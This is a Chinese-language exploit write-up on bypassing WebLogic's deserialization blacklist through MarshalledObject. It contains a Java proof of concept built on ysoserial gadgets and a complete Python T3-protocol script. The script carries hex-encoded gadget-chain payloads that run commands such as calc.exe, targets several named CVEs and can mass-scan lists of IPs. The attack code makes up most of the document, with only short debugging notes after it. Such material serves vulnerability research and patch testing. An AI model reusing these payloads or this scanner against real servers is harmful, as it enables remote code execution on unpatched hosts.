将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject，然后再对MarshalledObject进行序列化，生成payload字节码。由于MarshalledObject不在WebLogic黑名单里，可正常反序列化，在反序列化时MarshalledObject对象调用readObject时对MarshalledObject封装的序列化对象再次反序列化，可以绕过黑名单的限制
先给出poc，导入weblogic.jar和ysoserial.jar:
import weblogic.corba.utils.MarshalledObject;
import ysoserial.payloads.*;
import ysoserial.payloads.annotation.Dependencies;
/**
* Created by alvaro on 08/04/1.
*/
@Dependencies({ "weblogic"} )
public class weblogic {
public static void main(String[] args)throws Exception
{
// Object obj=wrapPayload("127.0.0.1:1099", JRMPClient3.class);
Object obj=wrapPayload("calc", Jdk7u21.class);
System.out.println(obj);
writeObject(obj, "F:\IDEA-project\JndiExploit\src\p.out");
// java.net.URL url = new java.net.URL("file:/Users/kkuyo/Downloads/getcmd.jar");
// java.net.URLClassLoader loader = new java.net.URLClassLoader(new java.net.URL[]{url});
// java.net.URLClassLoader loader=new java.net.URLClassLoader(new java.net.URL[]{url},Thread.currentThread().getContextClassLoader());
// Class tidyClazz = loader.loadClass("InitCmdImpl");
// InitCmdImpl f=(InitCmdImpl) tidyClazz.getDeclaredConstructor(String.class).newInstance("dd");
// tidyClazz.getMethod("main",String[].class).invoke(null,new Object[]{new String[]{"just for test"}});
// InitCmdImpl localInitCmdImpl = new InitCmdImpl("RemoteClass");
// javax.naming.InitialContext localInitialContext = new javax.naming.InitialContext();
// localInitialContext.bind("RemoteClass", localInitCmdImpl);
}
public static String writeObject(Object object, String strFile)throws java.io.FileNotFoundException, java.io.IOException {
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
//用于将对象转换成byte[]数组的ObjectOutputStream
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos);
//将对象写入ByteArrayOutputStream
oos.writeObject(object);
byte[] bytes = baos.toByteArray();
System.out.println(bytes);
//用于将将对象存入文件的ObjectOutputStream
java.io.ObjectOutputStream oos2 = new java.io.ObjectOutputStream(new java.io.FileOutputStream(strFile));
//将对象写入string指定的文件中
oos2.writeObject(object);
oos.close();
oos2.close();
baos.close();
return bytesToHexString(bytes);
}
public static String bytesToHexString(byte[] src) {
StringBuilder stringBuilder = new StringBuilder("");
if (src == null || src.length <= 0) {
return null;
}
for (int i = 0; i < src.length; i++) {
int v = src[i] & 0xFF;
//将一个byte的二进制数转换成十六进制字符
String hv = Integer.toHexString(v);
//如果二进制数转换成十六进制数高位为0，则加入'0'字符
if (hv.length() < 2) {
stringBuilder.append(0);
}
stringBuilder.append(hv);
}
System.out.println(stringBuilder.toString());
return stringBuilder.toString();
}
public static Object wrapPayload(String command, Class payload_class) throws Exception {
Object payload = ((ObjectPayload) payload_class.getConstructor().newInstance()).getObject(command);
MarshalledObject obj = new MarshalledObject(payload);
return obj;
}
// public boolean bypassXStream() { return true; }
public boolean skipTest() { return false; }
}
生成:
将生成的反序列化aced拷贝到PAYLOAD字段的第二个位置，下面这个脚本，前面就是T3协议握手的数据包，具体细节看脚本
weblogic 采用T3协议进行序列化数据的传输，可以看到weblogic发送的JAVA序列化数据分为6个部分，第一部分的前四个字节为整个数据包的长度，第2-6部分均为JAVA序列化数据。经测试，必须先发送T3协议头数据包，再发送JAVA序列化数据包，才能使weblogic进行JAVA反序列化，进而触发漏洞。如果只发送JAVA序列化数据包，不先发送T3协议头数据包，无法触发漏洞。
#!/usr/bin/env python
#coding:utf-8
import socket
import time
import re
import argparse
from multiprocessing.dummy import Pool
VUL=['CVE-2016-0638',
'CVE-2016-3510',
'CVE-2017-3248',
'CVE-2018-2628',
'CVE-2018-2893'
]
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78',
'aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b42787057412418757200025b42acf317f8060854e0020000787000000c0daced0005737200176a6176612e7574696c2e4c696e6b656448617368536574d86cd75a95dd2a1e020000787200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f400000000000027372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000949000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785a00155f75736553657276696365734d656368616e69736d4c00195f61636365737345787465726e616c5374796c6573686565747400124c6a6176612f6c616e672f537472696e673b4c000b5f617578436c617373657374003b4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f486173687461626c653b5b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff00740003616c6c70757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e0020000787000000698cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01000463616c6308003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572313930393035393330363833303701001f4c79736f73657269616c2f50776e657231393039303539333036383330373b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e000d000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f706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'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078',
'aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707729000a556e69636173745265660000000005a2000000005649e3fd00000000000000000000000000000078',
'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000001251e200000000000000100000118aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000f1440000000046911fd80000000000000000000000000000007878',
]
VER_SIG=['weblogic.jms.common.StreamMessageImpl',
'org.apache.commons.collections.functors.InvokerTransformer',
'\$Proxy[0-9]+',
'\$Proxy[0-9]+',
'weblogic.jms.common.StreamMessageImpl'
]
def t3handshake(sock,server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('[!]{}:{} handshake successful'.format(server_addr[0],server_addr[1]))
def buildT3RequestObject(dip,sock):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('[!]{} send request payload successful,recv length:{}'.format(dip,len(sock.recv(2048))))
def sendEvilObjData(sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
res='NO_DATA'
try:
res=sock.recv(4096)
except socket.timeout:
pass
# print res.encode('hex')
return res
def checkVul(res,server_addr,index):
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
print('[+]%s:%d vul %s'%(server_addr[0],server_addr[1],VUL[index]))
return True
else:
print('[-]%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))
return False
def run(dip,dport,index):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
sock.settimeout(60)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(dip,sock)
rs=sendEvilObjData(sock,PAYLOAD[index])
checkVul(rs,server_addr,index)
def exp(target):
dip,dport = target
vuls = []
for index in range(len(VUL)):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
sock.settimeout(60)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(dip,sock)
rs=sendEvilObjData(sock,PAYLOAD[index])
if checkVul(rs,server_addr,index):
vuls.append(VUL[index])
except Exception as e:
print('[-]{} fail:{}'.format(dip,str(e)))
return {'ip':dip,'status':'ok' if len(vuls)>0 else 'fail','vuls':vuls}
def load_target_from_file(filename,port):
iplist = []
with open(filename) as f:
for line in f:
ip = line.strip()
if len(ip)>0:
iplist.append((ip,port))
return iplist
def process_result(results):
results_ok = []
results_fail = []
for r in results:
if r['status'] == 'ok':
results_ok.append('{}:{}'.format(r['ip'],','.join(r['vuls'])))
else:
results_fail.append(r['ip'])
print('[+]vuls total:{}
{}'.format(len(results_ok), '
'.join(results_ok)))
def main():
parser = argparse.ArgumentParser(description='weblogic scanner')
parser.add_argument('-f','--file',default=None,help='read target ip from file')
parser.add_argument('-t','--target',default=None,help='target ip')
parser.add_argument('-p','--port',default='7001',help=' server port,default is 7001')
args = parser.parse_args()
if not args.file is None:
iplist = load_target_from_file(args.file,int(args.port))
pool = Pool(10)
results = pool.map(exp,iplist)
pool.close()
pool.join()
process_result(results)
elif not args.target is None:
exp((args.target,int(args.port)))
else:
parser.print_help()
print('You must set target ip or file!')
if __name__=="__main__":
main()
再看下漏洞调试过程，直接下断到MarshalledObject.class的48行，运行上面脚本。
这里接收payload.
通过反射触发，来到readResolve方法
这里触发反序列化
参考链接：
http://www.4hou.com/vulnerable/12874.html
https://xz.aliyun.com/t/1825/#toc-2
https://github.com/pwntester/SerialKillerBypassGadgetCollection/blob/master/src/main/java/serialkiller/bypass/Weblogic1.java